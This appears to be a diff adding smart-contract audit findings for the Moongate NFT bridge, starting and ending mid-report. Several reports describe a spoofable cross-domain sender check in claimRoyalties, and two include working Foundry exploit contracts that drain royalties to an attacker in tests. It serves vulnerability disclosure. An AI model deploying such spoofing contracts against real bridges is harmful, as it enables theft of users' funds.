+ maliciousSender.run(address(l1NFT), anyUser, tokens);
+ vm.stopPrank();
+
+ console.log('===after===');
+ console.log('Balance ETH (L2 collection):', l2NFTAddress.balance);
+ console.log('Balance ETH (anyUser):', anyUser.balance);
+}
+```
+
+Run `forge test --match-path test/RiftTest.t.sol --match-test testAnybodyCanClaimRoyalties -vv` to get this output:
+```solidity
+Ran 1 test for test/RiftTest.t.sol:RiftTest
+[PASS] testAnybodyCanClaimRoyalties() (gas: 744707)
+Logs:
+ ===before===
+ Balance ETH (L2 collection): 1000000000000000000
+ Balance ETH (anyUser): 0
+ ===after===
+ Balance ETH (L2 collection): 0
+ Balance ETH (anyUser): 1000000000000000000
+```
+
+Full test file:
+```solidity
+// SPDX-License-Identifier: AGPL-3.0
+
+/* solhint-disable private-vars-leading-underscore */
+/* solhint-disable var-name-mixedcase */
+/* solhint-disable func-param-name-mixedcase */
+/* solhint-disable no-unused-vars */
+/* solhint-disable func-name-mixedcase */
+
+pragma solidity ^0.8.26;
+
+import 'forge-std/Test.sol';
+
+import {ERC1155Receiver} from '@openzeppelin/token/ERC1155/utils/ERC1155Receiver.sol';
+
+import {Test20} from './mocks/Test20.sol';
+import {Test721} from './mocks/Test721.sol';
+import {Test1155} from './mocks/Test1155.sol';
+import {Test721NoRoyalty} from './mocks/Test721NoRoyalty.sol';
+import {MockPortalAndCrossDomainMessenger} from './mocks/MockPortalAndCrossDomainMessenger.sol';
+import {MockRoyaltyRegistry} from './mocks/MockRoyaltyRegistry.sol';
+import {ERC721Bridgable} from '../src/libs/ERC721Bridgable.sol';
+import {ERC1155Bridgable} from '../src/libs/ERC1155Bridgable.sol';
+
+import {InfernalRiftAbove} from '../src/InfernalRiftAbove.sol';
+import {InfernalRiftBelow} from '../src/InfernalRiftBelow.sol';
+import {IInfernalRiftAbove} from '../src/interfaces/IInfernalRiftAbove.sol';
+import {IInfernalPackage} from '../src/interfaces/IInfernalPackage.sol';
+import {ICrossDomainMessenger} from '../src/interfaces/ICrossDomainMessenger.sol';
+
+
+contract MaliciousSender is ICrossDomainMessenger {
+ InfernalRiftBelow riftBelow;
+
+ constructor(InfernalRiftBelow _riftBelow) {
+ riftBelow = _riftBelow;
+ }
+
+ function sendMessage(address _target, bytes calldata _message, uint32 _minGasLimit) external payable {}
+
+ function xDomainMessageSender() external view returns (address) {
+ return riftBelow.INFERNAL_RIFT_ABOVE();
+ }
+
+ function run(address _collectionAddress, address _recipient, address[] calldata _tokens) external {
+ riftBelow.claimRoyalties(_collectionAddress, _recipient, _tokens);
+ }
+}
+
+contract RiftTest is ERC1155Receiver, Test {
+
+ address constant ALICE = address(123456);
+
+ Test721 l1NFT;
+ Test1155 l1NFT1155;
+ MockPortalAndCrossDomainMessenger mockPortalAndMessenger;
+ MockRoyaltyRegistry mockRoyaltyRegistry;
+ ERC721Bridgable erc721Template;
+ ERC1155Bridgable erc1155Template;
+ InfernalRiftAbove riftAbove;
+ InfernalRiftBelow riftBelow;
+ Test20 USDC;
+
+ event BridgeStarted(address _destination, IInfernalPackage.Package[] package, address _recipient);
+
+ function setUp() public {
+
+ /**
+ - Deploy rift above
+ - Deploy rift below
+ - Deploy ERC721Brigable template and set with rift below
+ - Set rift below to use ERC721Bridgable
+ - Set rift above to use rift below
+ - Everything now immutable
+ */
+
+ USDC = new Test20('USDC', 'USDC', 18);
+ l1NFT = new Test721();
+ l1NFT1155 = new Test1155('https://address.com/token/');
+ mockPortalAndMessenger = new MockPortalAndCrossDomainMessenger();
+ mockRoyaltyRegistry = new MockRoyaltyRegistry();
+ riftAbove = new InfernalRiftAbove(
+ address(mockPortalAndMessenger),
+ address(mockPortalAndMessenger),
+ address(mockRoyaltyRegistry)
+ );
+ riftBelow = new InfernalRiftBelow(
+ address(mockPortalAndMessenger), // pretend the portal *is* the relayer
+ address(mockPortalAndMessenger),
+ address(riftAbove)
+ );
+ erc721Template = new ERC721Bridgable('Test', 'T721', address(riftBelow));
+ erc1155Template = new ERC1155Bridgable(address(riftBelow));
+ riftBelow.initializeERC721Bridgable(address(erc721Template));
+ riftBelow.initializeERC1155Bridgable(address(erc1155Template));
+ riftAbove.setInfernalRiftBelow(address(riftBelow));
+ }
+
+ function testAnybodyCanClaimRoyalties() public {
+ // transfer NFT collection from L1 to L2
+ _bridgeNft(address(this), address(l1NFT), 0);
+
+ // add some royalties to L2 collection
+ address l2NFTAddress = riftBelow.l2AddressForL1Collection(address(l1NFT), false);
+ deal(l2NFTAddress, 1 ether);
+
+ // prepare a malicious user
+ address anyUser = address(1);
+
+ console.log('===before===');
+ console.log('Balance ETH (L2 collection):', l2NFTAddress.balance);
+ console.log('Balance ETH (anyUser):', anyUser.balance);
+
+ /**
+ * 1. `anyUser` deploys the `MaliciousSender` contract
+ * 2. `anyUser` calls `MaliciousSender.run()` which claims all available collection royalties
+ */
+ vm.startPrank(anyUser);
+ MaliciousSender maliciousSender = new MaliciousSender(riftBelow);
+ address[] memory tokens = new address[](2);
+ tokens[0] = address(0);
+ maliciousSender.run(address(l1NFT), anyUser, tokens);
+ vm.stopPrank();
+
+ console.log('===after===');
+ console.log('Balance ETH (L2 collection):', l2NFTAddress.balance);
+ console.log('Balance ETH (anyUser):', anyUser.balance);
+ }
+
+ function _bridgeNft(address _recipient, address _collection, uint _tokenId) internal {
+ // Set our tokenId
+ uint[] memory ids = new uint[](1);
+ ids[0] = _tokenId;
+
+ // Mint the token to our recipient
+ Test721(_collection).mint(_recipient, ids);
+ Test721(_collection).setApprovalForAll(address(riftAbove), true);
+
+ // Register our collection and ID list
+ address[] memory collections = new address[](1);
+ collections[0] = _collection;
+
+ uint256[][] memory idList = new uint256[][](1);
+ idList[0] = ids;
+
+ // Set our domain messenger
+ mockPortalAndMessenger.setXDomainMessenger(address(riftAbove));
+
+ // Cross the threshold!
+ riftAbove.crossTheThreshold(
+ _buildCrossThresholdParams(collections, idList, address(this), 0)
+ );
+ }
+
+ function _buildCrossThresholdParams(
+ address[] memory collectionAddresses,
+ uint[][] memory idsToCross,
+ address recipient,
+ uint64 gasLimit
+ ) internal pure returns (
+ IInfernalRiftAbove.ThresholdCrossParams memory params_
+ ) {
+ uint[][] memory amountsToCross = new uint[][](collectionAddresses.length);
+ for (uint i; i < collectionAddresses.length; ++i) {
+ amountsToCross[i] = new uint[](idsToCross[i].length);
+ }
+
+ params_ = IInfernalRiftAbove.ThresholdCrossParams(
+ collectionAddresses, idsToCross, amountsToCross, recipient, gasLimit
+ );
+ }
+
+ /**
+ * @dev See {IERC1155Receiver-onERC1155Received}.
+ */
+ function onERC1155Received(address, address, uint, uint, bytes memory) public pure override returns (bytes4) {
+ return this.onERC1155Received.selector;
+ }
+
+ /**
+ * @dev See {IERC1155Receiver-onERC1155BatchReceived}.
+ */
+ function onERC1155BatchReceived(address, address, uint[] memory, uint[] memory, bytes memory) public pure override returns (bytes4) {
+ return this.onERC1155BatchReceived.selector;
+ }
+
+}
+```
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/003/095.md b/003/095.md
new file mode 100644
index 0000000..09bd618
--- /dev/null
+++ b/003/095.md
@@ -0,0 +1,89 @@
+Rich Chrome Whale
+
+High
+
+# Owner of Bridged ERC1155 Royalties can't claim them
+
+### Summary
+
+ERC1155 having royalties won't be claimed on bridged ERC1155 Tokens
+
+### Root Cause
+
+```solidity
+File: InfernalRiftBelow.sol
+220: function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+221: // Ensure that our message is sent from the L1 domain messenger
+222: if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+223: revert CrossChainSenderIsNotRiftAbove();
+224: }
+225:
+226: // Get our L2 address from the L1
+227: if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+228:
+229: // Call our ERC721Bridgable contract as the owner to claim royalties to the recipient
+230: ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+231: emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+232: }
+```
+
+In line 227 we check if the collection is deployed on L2 for ERC721 only (by the false parameter passed)
+
+So if the call was for ERC1155 royalties it will revert in 227
+
+```solidity
+File: InfernalRiftBelow.sol
+92: function isDeployedOnL2(address _l1CollectionAddress, bool _is1155) public view returns (bool isDeployed_) {
+93: isDeployed_ = l2AddressForL1Collection(_l1CollectionAddress, _is1155).code.length > 0; //@audit we call it here with `_is1155` as false
+94: }
+```
+
+But this will return false cause `code.length` will be < 0
+
+Because:
+in `l2AddressForL1Collection` we get the ERC721 implementation contract deployed with the ERC1155 l1 address bytes as salt
+
+```solidity
+File: InfernalRiftBelow.sol
+77: function l2AddressForL1Collection(address _l1CollectionAddress, bool _is1155) public view returns (address l2CollectionAddress_) {
+78: l2CollectionAddress_ = Clones.predictDeterministicAddress(
+79: _is1155 ? ERC1155_BRIDGABLE_IMPLEMENTATION : ERC721_BRIDGABLE_IMPLEMENTATION,
+80: bytes32(bytes20(_l1CollectionAddress))
+81: );
+82: }
+```
+
+But it will return an address that is not deployed and has 0 code length since we called `Clones.predictDeterministicAddress` With `ERC721_BRIDGABLE_IMPLEMENTATION` and `_l1CollectionAddress` which in our case is ERC1155
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+ERC1155 tokens bridged are having pending royalties waiting to be claimed
+
+### Attack Path
+
+1. User bridge ERC1155 from L1 that supports royalties and royalties will be recorded in the `package` [Here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L178)
+2. L2 contract deploy the `ERC1155Bridgable` that supports claiming royalities and set him self as the royalty owner
+3. Tokens bridged accumulate royalties waiting to be claimed
+4. royalty owner try to claim them from L1 contract and txn go throw
+5. Txn in L2 will revert due the wrong check [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L227) and there is no other function for claiming ERC1155 royalty
+
+> **_Note!:_** According to token integration Question in the audit readMe
+>> ERC721 and ERC1155 tokens will be supported. Additionally, the subset of those tokens that implement ERC-2981 for royalties will gain additional support for claiming.
+
+So in addition to the impact its clearly violating the readMe
+
+### Impact
+
+Loss of funds (royalties) on L2 ERC1155 Tokens
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement a check for ERC1155 deployed or build a logic from 0 to have seperate `claimRoyalty` functions for every token type on both contracts
\ No newline at end of file
diff --git a/003/116.md b/003/116.md
new file mode 100644
index 0000000..590de1d
--- /dev/null
+++ b/003/116.md
@@ -0,0 +1,73 @@
+Lively Onyx Wolverine
+
+High
+
+# `claimRoyalties` can be called by our custom contract
+
+### Summary
+
+`claimRoyalties` can be called by our custom contract, as it doesn't check well enough for the sender. It only check fi the caller has `xDomainMessageSender` function that returns `INFERNAL_RIFT_ABOVE`.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220-L232
+```solidity
+ function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+
+ // Get our L2 address from the L1
+ if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+
+ // Call our ERC721Bridgable contract as the owner to claim royalties to the recipient
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+ emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+ }
+```
+
+### Root Cause
+
+`claimRoyalties` not validating if the sender is actually the CDM
+
+### Internal pre-conditions
+
+None the system has a hardcoded flaw
+
+### External pre-conditions
+
+User calling `claimRoyalties` with his custom contract having a function `xDomainMessageSender` that returns `INFERNAL_RIFT_ABOVE`
+
+### Attack Path
+
+1. User deploys a custom contract with `xDomainMessageSender` function that returns `INFERNAL_RIFT_ABOVE`
+2. User triggers this contract to call `claimRoyalties` on a deployed collection and steals it's royalties
+
+### Impact
+
+1. Users can steal other users royalties
+2. Loss of funds
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Validate if the caller is `CrossDomainMessenger`.
+
+```diff
+ function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
++ if(msg.sender != L2_CROSS_DOMAIN_MESSENGER) {
++ revert NotCDM;
++ }
+
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+
+ if (!isDeployedOnL2(_collectionAddress, false)) revert L1CollectionDoesNotExist();
+
+ // Call our ERC721Bridgable contract as the owner to claim royalties to the recipient
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+ emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+ }
+```
\ No newline at end of file
diff --git a/003/120.md b/003/120.md
new file mode 100644
index 0000000..551523e
--- /dev/null
+++ b/003/120.md
@@ -0,0 +1,81 @@
+Gentle Eggplant Trout
+
+High
+
+# malicious user can steal all tokens in the ERC721Bridgable contract
+
+## Summary
+Malicious user can bypass check in the claimRoyalties function in infernalRiftBelow to steal tokens in the ERC721Bridgable conract.
+## Vulnerability Detail
+Malicious user can impersonate as CrossDomainMessenger to bypass check in the claimRoyalties function to then steal all tokens in the ERC721Bridgable contract.
+## Impact
+High all tokens can be stolen.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L222
+## Tool used
+
+Manual Review
+##POC
+#riftTest contract
+```solidity
+function test_attackclaim() public {
+ // Set the royalty information for the L1 contract
+ address BOB = address(123);
+ l1NFT.setDefaultRoyalty(address(this), 1000);
+
+ // Create an ERC721 that implements ERC2981 for royalties
+ _bridgeNft(address(this), address(l1NFT), 0);
+
+ // Get our 'L2' address
+ Test721 l2NFT = Test721(riftBelow.l2AddressForL1Collection(address(l1NFT), false));
+
+ // Add some royalties (10 ETH and 1000 USDC) onto the L2 contract
+ deal(address(l2NFT), 10 ether);
+ deal(address(USDC), address(l2NFT), 1000 ether);
+
+ assertEq(USDC.balanceOf(BOB), 0 ether, 'Invalid BOB USDC');
+ assertEq(payable(BOB).balance, 0 ether, 'Invalid BOB ETH');
+ vm.startPrank(BOB);
+ attt k = new attt(address(riftBelow), address(this));
+ k.attack(address(l1NFT));
+ // Set up our tokens array to try and claim native ETH
+ address[] memory tokens = new address[](2);
+ tokens[0] = address(0);
+ tokens[1] = address(USDC);
+ vm.stopPrank();
+ assertEq(USDC.balanceOf(BOB), 999 ether, 'Invalid BOB USDC');
+ assertEq(payable(BOB).balance, 10 ether, 'Invalid BOB ETH');
+
+
+ }
+```
+
+```solidity
+contract attt is ICrossDomainMessenger{
+ InfernalRiftBelow riftBelow;
+ RiftTest l;
+ constructor(address a, address k){
+ riftBelow = InfernalRiftBelow(a);
+ l = RiftTest(k);
+ }
+
+ function sendMessage(address _target, bytes calldata _message, uint32 _minGasLimit) external payable {
+
+ }
+ function xDomainMessageSender() external override view returns (address){
+ return address(l.riftAbove());
+ }
+
+ function attack(address a) external{
+ address[] memory tokens = new address[](2);
+ tokens[0] = address(0);
+ tokens[1] = address(l.USDC());
+
+ riftBelow.claimRoyalties(a, msg.sender, tokens);
+ }
+
+}
+```
+
+## Recommendation
+
diff --git a/003/135.md b/003/135.md
new file mode 100644
index 0000000..f729da1
--- /dev/null
+++ b/003/135.md
@@ -0,0 +1,49 @@
+Perfect Hotpink Tardigrade
+
+Medium
+
+# Moongate: Per token royalty is not supported on L2
+
+### Summary
+
+Check the following methods responsible for bridging ERC721 and ERC1155 tokens from L1 to L2:
+1. [crossTheThreshold()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L83)
+2. [crossTheThreshold1155()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L137)
+
+On bridging a token collection royalty from the 1st passed token id is set as a royalty for the whole collection on L2:
+- https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L116
+- https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L178
+
+The issue with this approach is that if L1 collection implements unique royalties per token then on L2 those unique per token royalties will be lost because both [ERC721Bridgable](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC721Bridgable.sol) and [ERC1155Bridgable](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC1155Bridgable.sol) don't support royalty per a single token (only the same royalty for the whole token collection).
+
+### Root Cause
+
+Lack of royalty per token functionality in:
+- [ERC721Bridgable](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC721Bridgable.sol)
+- [ERC1155Bridgable](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC1155Bridgable.sol)
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Collection owner creates a new NFT collection with 10 tokens each with its own royalty.
+2. Collection owner calls [crossTheThreshold()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L83) and bridges the collection to L2
+3. As a result the bridged collection will have the same royalty for all 10 tokens while on L1 royalties are different
+
+### Impact
+
+Collection looses royalties on L2
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/003/200.md b/003/200.md
new file mode 100644
index 0000000..9e7bd5c
--- /dev/null
+++ b/003/200.md
@@ -0,0 +1,41 @@
+Wonderful Rouge Hamster
+
+Medium
+
+# Moongate uses universal royalty for all the bridged tokens of an ERC721 contract
+
+### Summary
+
+The royalty for each token of an ERC721 contract can be different. The moongate bridge assumes that all of them are the same
+
+### Root Cause
+
+In [InfernalRiftAbove.sol:116](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L116) it will use the royalty of the first token that's bridged of a given collection to determine the royalty for the whole collection.
+
+However, according to [ERC-2981](https://eips.ethereum.org/EIPS/eip-2981#specification), different royalty percentages for each token are allowed. It's also possible that the royalty fee changes over time.
+
+Thus, using a static value for bridged tokens will cause the royalty to be less/more than expected.
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+none
+
+### Impact
+
+Bridged ERC721 tokens pay less/more royalties than expected.
+
+### PoC
+
+none
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/003/212.md b/003/212.md
new file mode 100644
index 0000000..42df1ca
--- /dev/null
+++ b/003/212.md
@@ -0,0 +1,63 @@
+Shiny Glass Hare
+
+Medium
+
+# Insufficient Validation of Cross-Chain Message Origin in claimRoyalties Function
+
+### Summary
+
+The `InfernalRiftBelow ::claimRoyalties()` function checks if the `xDomainMessageSender()` sender is equal to INFERNAL_RIFT_ABOVE. However, this check is insufficient because any caller contract can implement xDomainMessageSender() to spoof the value as INFERNAL_RIFT_ABOVE. As a result, malicious contracts can call the claimRoyalties function, bypassing proper security validation and potentially claiming tokens.
+
+
+
+
+### Root Cause
+
+
+In the claimRoyalties function, the following check is used to validate the xDomainMessageSender is INFERNAL_RIFT_ABOVE
+```solidity
+ function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+ // Ensure that our message is sent from the L1 domain messenger
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+```
+This check alone is insufficient, as a malicious contract can implement xDomainMessageSender() and set it to return INFERNAL_RIFT_ABOVE. The contract calling claimRoyalties can bypass the intended security validation and trigger unauthorized royalty claims.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L222
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Malicious contracts can call the `InfernalRiftBelow ::claimRoyalties` function, bypassing proper security validation and potentially claiming tokens.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+To properly secure this function, add an additional check to validate that the caller is the trusted L2_CROSS_DOMAIN_MESSENGER before checking if the xDomainMessageSender() equals INFERNAL_RIFT_ABOVE.
+
+```solidity
+ function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) public {
+
++ if (msg.sender != L2_CROSS_DOMAIN_MESSENGER) {
++ revert InvalidCrossDomainMessenger();
++ }
+
+ if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE) {
+ revert CrossChainSenderIsNotRiftAbove();
+ }
+```
diff --git a/003/217.md b/003/217.md
new file mode 100644
index 0000000..fe0826b
--- /dev/null
+++ b/003/217.md
@@ -0,0 +1,57 @@
+Wonderful Rouge Hamster
+
+High
+
+# User can't claim royalties for bridged ERC1155 tokens
+
+### Summary
+
+`InternalRiftBelow` doesn't compute the ERC1155's l2 address correctly. That causes the `claimRoyalties()` function to revert for bridged ERC1155 contracts.
+
+### Root Cause
+
+When an ERC1155 token is bridged in [InfernalRiftBelow.sol:280](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L280), the l2 address is computed using the ERC1155 implementation contract and the salt (l1 collection address):
+
+```sol
+Clones.cloneDeterministic(ERC1155_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+```
+
+In `claimRoyalties` ([InfernalRiftBelow.sol:230](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L230)) it calculates the L2 address for the given collection as if it was an ERC721 although it can also be a ERC1155 contract:
+
+```sol
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+
+ function l2AddressForL1Collection(address _l1CollectionAddress, bool _is1155) public view returns (address l2CollectionAddress_) {
+ l2CollectionAddress_ = Clones.predictDeterministicAddress(
+ _is1155 ? ERC1155_BRIDGABLE_IMPLEMENTATION : ERC721_BRIDGABLE_IMPLEMENTATION,
+ bytes32(bytes20(_l1CollectionAddress))
+ );
+ }
+
+```
+
+Thus, when `claimRoyalties()` is called for an ERC1155 contract, the L2 address won't be computed correctly causing the tx to revert.
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+none
+
+### Impact
+
+The royalties for ERC1155 contracts won't be claimable.
+
+### PoC
+
+none
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/003/235.md b/003/235.md
new file mode 100644
index 0000000..f64d180
--- /dev/null
+++ b/003/235.md
@@ -0,0 +1,81 @@
+Raspy Raspberry Tapir
+
+High
+
+# Attackers may impose arbitrary royalties on buyers of bridged NFTs on L2
+
+### Summary
+
+Both ERC-721 and ERC-1155 NFTs are bridged from L1 to L2 on a "first-come-first-serve" basis: the first user who submits the transaction [crossTheThreshold](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L83) (for ERC-721) or [crossTheThreshold1155](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L137) (for ERC-1155) to `InfernalRiftAbove` will define which royalty will be charged for all NFTs across the entire NFT collection. This happens due to determining the charged royalty based on the royalty of the first NFT token in the user supplied params.
+
+As the user may also either directly control the royalty in the first token they supply in params, or select the existing token with the desired royalty amount, this allows them to have the buyers of bridged NFTs on L2 be charged arbitrary royalties, which is a loss of funds.
+
+### Root Cause
+
+On L1, methods [crossTheThreshold](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L109-L119) (for ERC-721) or [crossTheThreshold1155](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L171-L181) (for ERC-1155) of `InfernalRiftAbove` construct the package to L2 as follows:
+
+```solidity
+// Set up payload
+package[i] = Package({
+ chainId: block.chainid,
+ collectionAddress: collectionAddress,
+ ids: params.idsToCross[i],
+ amounts: new uint[](numIds),
+ uris: uris,
+ royaltyBps: _getCollectionRoyalty(collectionAddress, params.idsToCross[i][0]),
+ name: erc721.name(),
+ symbol: erc721.symbol()
+});
+```
+
+As can be seen, the `royaltyBps` field is taken from the royalty amount specific to the first token supplied by the user.
+
+On L2, the functions [_thresholdCross721](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L240-L250) and [_thresholdCross1155](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L278-L288) process the received package and, in case the L2 collection has not been deployed yet, deploy and initialize it, passing `royaltyBps` to the `initialize` function of the newly deployed NFT contract:
+
+```solidity
+// If not yet deployed, deploy the L2 collection and set name/symbol/royalty
+if (!isDeployedOnL2(l1CollectionAddress, false)) {
+ Clones.cloneDeterministic(ERC721_BRIDGABLE_IMPLEMENTATION, bytes32(bytes20(l1CollectionAddress)));
+
+ // Check if we have an ERC721 or an ERC1155
+ l2Collection721 = ERC721Bridgable(l2CollectionAddress);
+ l2Collection721.initialize(package.name, package.symbol, package.royaltyBps, package.chainId, l1CollectionAddress);
+
+ // Set the reverse mapping
+ l1AddressForL2Collection[l2CollectionAddress] = l1CollectionAddress;
+}
+```
+
+Finally, [ERC721Bridgable::initialize](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L81-L82) and [ERC1155Bridgable::initialize](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L63-L64) set the passed royalty as the default, thus applying it uniformly to all NFTs in the collection.
+
+```solidity
+// Set this contract to receive marketplace royalty
+_setDefaultRoyalty(address(this), _royaltyBps);
+```
+
+### Internal pre-conditions
+
+A malicious user is the first who submits transaction `crossTheThreshold` or `crossTheThreshold1155` for the respective NFT collection.
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+1. For an L1 NFT collection, the attacker either chooses an already existing token with the desired royalty amount, or create their own token, and set the desired royalty amount
+2. The attacker submits `crossTheThreshold` or `crossTheThreshold1155` transaction to `InfernalRiftAbove`, listing the above token as the first in the params
+3. Package is forwarded to L2, and executed by `InfernalRiftBelow`. The L2 collection is created to mirror the L1 collection, and the royalty amount from the first token is applied across all collection.
+4. Buyers of tokens from the L2 collection pay arbitrary royalties, set by the attacker.
+
+### Impact
+
+Definite loss of funds: buyers of NFTs from the bridged collection will pay arbitrary royalties set by the attacker.
+
+### PoC
+
+not required according to the rules
+
+### Mitigation
+
+Do not take the royalty amount from the first token in the supplied parameters, but instead propagate the per-token royalty amount, queried from the L1 collection.
\ No newline at end of file
diff --git a/003/295.md b/003/295.md
new file mode 100644
index 0000000..046157a
--- /dev/null
+++ b/003/295.md
@@ -0,0 +1,74 @@
+Raspy Raspberry Tapir
+
+High
+
+# Claiming of royalties on L1 based on token 0 deprives artists of their royalties
+
+### Summary
+
+Function [InfernalRiftAbove::claimRoyalties](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L251-L274) allows to claim royalties from the L2-mirrorred NFT contract to anyone who is set a a royalty recipient of a token with ID `0` on the L1 NFT contract:
+
+```solidity
+// We can now pull the royalty information from the L1 to confirm that the caller
+// is the receiver of the royalties. We can't actually pull in the default royalty
+// provider so instead we just use token0.
+(address receiver,) = IERC2981(_collectionAddress).royaltyInfo(0, 0);
+
+// Check that the receiver of royalties is making this call
+if (receiver != msg.sender) revert CallerIsNotRoyaltiesReceiver(msg.sender, receiver);
+
+// Make our call to the L2 that will pull tokens from the contract
+ICrossDomainMessenger(L1_CROSS_DOMAIN_MESSENGER).sendMessage(
+ INFERNAL_RIFT_BELOW,
+ abi.encodeCall(
+ IInfernalRiftBelow.claimRoyalties,
+ (_collectionAddress, _recipient, _tokens)
+ ),
+ _gasLimit
+);
+```
+
+This is wrong due to may reasons; in particular we can cite [EIP-721](https://eips.ethereum.org/EIPS/eip-721):
+
+> Every NFT is identified by a unique `uint256` ID inside the ERC-721 smart contract. This identifying number SHALL NOT change for the life of the contract. The pair `(contract address, uint256 tokenId)` will then be a globally unique and fully-qualified identifier for a specific asset on an Ethereum chain. While some ERC-721 smart contracts may find it convenient to start with ID 0 and simply increment by one for each new NFT, callers SHALL NOT assume that ID numbers have any specific pattern to them, and MUST treat the ID as a “black box”. Also note that NFTs MAY become invalid (be destroyed). Please see the enumeration functions for a supported enumeration interface.
+
+Here are a few reasons why the royalty recipient of NFT with ID `0` should not be used as a royalty recipient for the collection:
+
+- Such NFT may not exist at all (many collections start numbering from `1`)
+- Such NFT may be just an ordinary NFT, which may be possessed by an ordinary user
+- Some NFT collections allow each NFT to have separate author, and thus a royalty amount or recipient for token `0` may have nothing to do with the rest of the collection.
+
+### Root Cause
+
